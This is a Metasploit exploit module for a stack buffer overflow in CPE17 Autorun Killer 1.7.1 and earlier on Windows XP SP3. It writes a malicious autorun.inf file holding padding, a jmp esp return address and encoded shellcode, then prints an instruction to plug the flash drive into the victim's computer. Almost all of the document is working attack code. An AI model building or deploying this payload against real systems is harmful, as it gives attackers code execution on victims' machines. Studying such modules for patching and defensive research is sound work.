#
# CPE17 Autorun Killer <= 1.7.1 Stack Buffer Overflow exploit
# by Xelenonz
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'CPE17 Autorun Killer <= 1.7.1 Stack Buffer Overflow exploit',
'Description' => %q{
readfile function is vulnerable it can be overflow
},
'Author' => [ 'Xelenonz' ],
'Version' => '0.1',
'Payload' =>
{
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' => {'BufferRegister'=>'ECX'},
},
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'true',
},
'Platform' => 'windows',
'Targets' =>
[
[
'Windows XP SP3',
{ 'Ret' => 0x775a676f,
'Offset' => 500
}
],
],
'DefaultTarget' => 0,
'Privileged' => false
))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'autorun.inf']),
], self.class)
end
def exploit
print_status("Encoding Payload ...")
enc = framework.encoders.create("x86/alpha_mixed")
enc.datastore.import_options_from_hash( {'BufferRegister'=>'ESP'} )
hunter = enc.encode(payload.encoded, nil, nil, platform)
buffer = ""
buffer << "A"*target['Offset'] # padding offset
buffer << [target.ret].pack('V') # jmp esp
buffer << hunter # shellcode
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buffer)
print_status("Plug flashdrive to victim's computer")
handler
end
end
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